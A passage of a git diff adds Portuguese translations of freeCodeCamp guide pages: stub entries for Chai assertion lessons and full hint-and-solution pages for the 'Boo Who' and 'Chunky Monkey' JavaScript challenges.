+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md
new file mode 100644
index 0000000000..2e156c6ffe
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a String Contains a Substring
+localeTitle: Teste se uma String Contiver uma Substring
+---
+## Teste se uma String Contiver uma Substring
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md
new file mode 100644
index 0000000000..ac75584e3f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value Falls within a Specific Range
+localeTitle: Teste se um valor cai dentro de um intervalo específico
+---
+## Teste se um valor cai dentro de um intervalo específico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md
new file mode 100644
index 0000000000..57fac1aa7f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is a String
+localeTitle: Teste se um valor é uma string
+---
+## Teste se um valor é uma string
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md
new file mode 100644
index 0000000000..99f25da8fd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is an Array
+localeTitle: Teste se um valor é uma matriz
+---
+## Teste se um valor é uma matriz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md
new file mode 100644
index 0000000000..8200d47725
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is of a Specific Data Structure Type
+localeTitle: Teste se um valor é de um tipo específico de estrutura de dados
+---
+## Teste se um valor é de um tipo específico de estrutura de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md
new file mode 100644
index 0000000000..ed3ed0d25c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Variable or Function is Defined
+localeTitle: Teste se uma variável ou função é definida
+---
+## Teste se uma variável ou função é definida
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md
new file mode 100644
index 0000000000..8df1538c61
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Array Contains an Item
+localeTitle: Teste se uma matriz contém um item
+---
+## Teste se uma matriz contém um item
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md
new file mode 100644
index 0000000000..cb214243ec
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Object has a Property
+localeTitle: Teste se um objeto tem uma propriedade
+---
+## Teste se um objeto tem uma propriedade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-has-a-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md
new file mode 100644
index 0000000000..faae87d3eb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if an Object is an Instance of a Constructor
+localeTitle: Teste se um objeto é uma instância de um construtor
+---
+## Teste se um objeto é uma instância de um construtor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-object-is-an-instance-of-a-constructor/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md
new file mode 100644
index 0000000000..0e03187de9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if One Value is Below or At Least as Large as Another
+localeTitle: Teste se um valor está abaixo ou pelo menos tão grande quanto outro
+---
+## Teste se um valor está abaixo ou pelo menos tão grande quanto outro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-one-value-is-below-or-at-least-as-large-as-another/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md
new file mode 100644
index 0000000000..6bd4c6256c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Assert.isOK and Assert.isNotOK
+localeTitle: Use Assert.isOK e Assert.isNotOK
+---
+## Use Assert.isOK e Assert.isNotOK
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-assert.isok-and-assert.isnotok/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md
new file mode 100644
index 0000000000..0c89bf9a7c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Regular Expressions to Test a String
+localeTitle: Use expressões regulares para testar uma string
+---
+## Use expressões regulares para testar uma string
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-regular-expressions-to-test-a-string/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md
new file mode 100644
index 0000000000..5d84197ff3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Double Equals to Assert Equality
+localeTitle: Use os dois iguais para afirmar a igualdade
+---
+## Use os dois iguais para afirmar a igualdade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-double-equals-to-assert-equality/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md
new file mode 100644
index 0000000000..d933b2fddf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Triple Equals to Assert Strict Equality
+localeTitle: Use o Triple Equals para afirmar a igualdade estrita
+---
+## Use o Triple Equals para afirmar a igualdade estrita
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/use-the-triple-equals-to-assert-strict-equality/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md
new file mode 100644
index 0000000000..99cfccddc8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/boo-who/index.md
@@ -0,0 +1,70 @@
+---
+title: Boo Who
+localeTitle: Boo Who
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### Explicação do Problema:
+
+Este programa é muito simples, o truque é entender o que é um primitivo booleano. Os programas requerem uma resposta verdadeira ou falsa.
+
+#### Links Relevantes
+
+*   [boleano](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Você precisará verificar o tipo do parâmetro para ver se é um booleano.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Para verificar o tipo de um parâmetro, você pode usar `typeof` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   Como você deve retornar true ou false, você pode usar instruções if ou apenas retornar o booleano usado para a instrução if.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function booWho(bool) { 
+      return typeof bool === 'boolean'; 
+    } 
+ 
+    // test here 
+    booWho(null); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnK/0)
+
+# Explicação do código:
+
+Usa o operador `typeof` para verificar se a variável é booleana. Se for, ele retornará `true` . Caso contrário, se for qualquer outro tipo, retornará `false` .
+
+#### Links Relevantes
+
+*   Usando o tipo de
+*   [tipo de](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md
new file mode 100644
index 0000000000..8f8da5b0d1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/chunky-monkey/index.md
@@ -0,0 +1,220 @@
+---
+title: Chunky Monkey
+localeTitle: Macaco Robusto
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/a/aadd6bead83ab7d79a795c326f005a89e6ad81f5.png)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Nosso objetivo para este Algoritmo é dividir o `arr` (primeiro argumento) em partes menores de matrizes com o tamanho fornecido pelo `size` (segundo argumento). Existem 4 verificações verdes (objetivos) que nosso código precisa passar para concluir este Algoritmo:
+
+1.  `(['a', 'b', 'c', 'd'], 2)` espera-se que seja `[['a', 'b'], ['c', 'd']]`
+2.  `([0, 1, 2, 3, 4, 5], 3)` deverá ser `[[0, 1, 2], [3, 4, 5]]`
+3.  `([0, 1, 2, 3, 4, 5], 2)` espera-se que seja `[[0, 1], [2, 3], [4, 5]]`
+4.  `([0, 1, 2, 3, 4, 5], 4)` deverá ser `[[0, 1, 2, 3], [4, 5]]`
+
+#### Links Relevantes
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Os links acima sugerem o uso de `Array.push()` , então vamos começar primeiro criando um novo array para armazenar os arrays menores que logo teremos assim:
+
+```javascript
+    var newArray = []; 
+```
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Em seguida, vamos precisar de um `for loop` para percorrer `arr` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Finalmente, precisamos de um método para fazer a divisão real e podemos usar `Array.slice()` para fazer isso. A chave para este Algoritmo é entender como um `for loop` , `size` , `Array.slice()` e `Array.push()` trabalham juntos.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+ 
+      var temp = []; 
+      var result = []; 
+ 
+      for (var a = 0; a < arr.length; a++) { 
+        if (a % size !== size - 1) 
+          temp.push(arr[a]); 
+        else { 
+          temp.push(arr[a]); 
+          result.push(temp); 
+          temp = []; 
+        } 
+      } 
+ 
+      if (temp.length !== 0) 
+        result.push(temp); 
+      return result; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/24)
+
+### Explicação do código:
+
+*   Em primeiro lugar, criamos dois arrays vazios chamados `temp` e `result` , que eventualmente retornaremos.
+*   Nosso **loop for** loops até que `a` seja igual ou maior que o comprimento do array em nosso teste.
+*   Dentro do nosso loop, pressionamos `temp` usando `temp.push(arr[a]);` se o restante de `a / size` não for igual a `size - 1` .
+*   Caso contrário, passamos para `temp` , pressionamos `temp` para a variável de `result` e redefinimos `temp` para um array vazio.
+*   Em seguida, se `temp` não for um array vazio, nós o empurraremos para o `result` .
+*   Finalmente, retornamos o valor do `result` .
+
+#### Links Relevantes
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [For Loops](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+      // Break it up. 
+      var arr2 = []; 
+      for (var i = 0; i < arr.length; i+=size) { 
+        arr2.push(arr.slice(i , i+size)); 
+      } 
+      return arr2; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/Cj9x/3)
+
+### Explicação do código:
+
+*   Primeiro, criamos um array vazio `arr2` onde armazenaremos nossos 'pedaços'.
+*   O loop for inicia em zero, incrementa por `size` cada vez no loop e pára quando atinge `arr.length` .
+*   Observe que esse loop for não passa por `arr` . Em vez disso, estamos usando o loop para gerar números que podemos usar como índices para dividir a matriz nos locais corretos.
+*   Dentro do nosso loop, criamos cada `arr.slice(i, i+size)` usando `arr.slice(i, i+size)` e adicionamos esse valor a `arr2` com `arr2.push()` .
+*   Finalmente, retornamos o valor de `arr2` .
+
+#### Links Relevantes
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [For Loops](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+      // Break it up. 
+      var newArr = []; 
+      var i = 0; 
+ 
+      while (i < arr.length) { 
+        newArr.push(arr.slice(i, i+size)); 
+        i += size; 
+      } 
+      return newArr; 
+    } 
+    chunkArrayInGroups(["a", "b", "c", "d"], 2); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/26)
+
+### Explicação do código:
+
+*   Em primeiro lugar, criamos duas variáveis. `newArr` é um array vazio ao qual iremos empurrar. Nós também temos a variável `i` definida como zero, para uso em nosso loop while.
+    
+*   Nosso laço while faz um loop até que `i` seja igual ou maior que o comprimento do array em nosso teste.
+    
+*   Dentro do nosso laço, que empurra para a `newArr` matriz usando `arr.slice(i, i+size)` . Pela primeira vez loops, será algo parecido com:
+    
+    newArr.push (arr.slice (1, 1 + 2))
+    
+*   Depois de empurrarmos para `newArr` , adicionamos a variável de `size` em `i` .
+    
+*   Finalmente, retornamos o valor de `newArr` .
+    
+
+#### Links Relevantes
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [While Loops](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código 2:
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+      var newArr = []; 
+      while (arr.length) { 
+        newArr.push(arr.splice(0,size)); 
+      } 
+      return newArr; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/579)
+
+### Explicação do código:
+
+*   Em primeiro lugar, criamos uma variável. `newArr` é um array vazio ao qual iremos empurrar.
+*   Nosso laço `while` loop até que o comprimento do array em nosso teste não seja 0.
+*   Dentro do nosso laço, que empurra para a `newArr` matriz usando `arr.splice(0, size)` .
+*   Para cada iteração de `while` loop, ele suprime `size` número de elementos da frente de `arr` e empurrá-los como uma matriz para `newArr` .
+*   Finalmente, retornamos o valor de `newArr` .
+
+#### Links Relevantes
+
+*   [Array.push ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [Array.splice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+*   [While Loops](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código 3:
+
+```javascript
+    function chunkArrayInGroups(arr, size) { 
+      if (arr.length <= size){ 
+        return [arr]; 
+      } 
+      else { 
+        return [arr.slice(0,size)].concat(chunkArrayInGroups(arr.slice(size),size)); 
+      } 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/579)
+
+### Explicação do código:
+
+*   Matriz menor que o tamanho é retornada aninhada.
+*   Para qualquer array maior que o tamanho, ele é dividido em dois. O primeiro segmento é aninhado e concatenado com o segundo segundo segmento, que faz uma chamada recursiva.
+
+#### Links Relevantes
+
+*   [Recursão](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+*   [Array.splice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
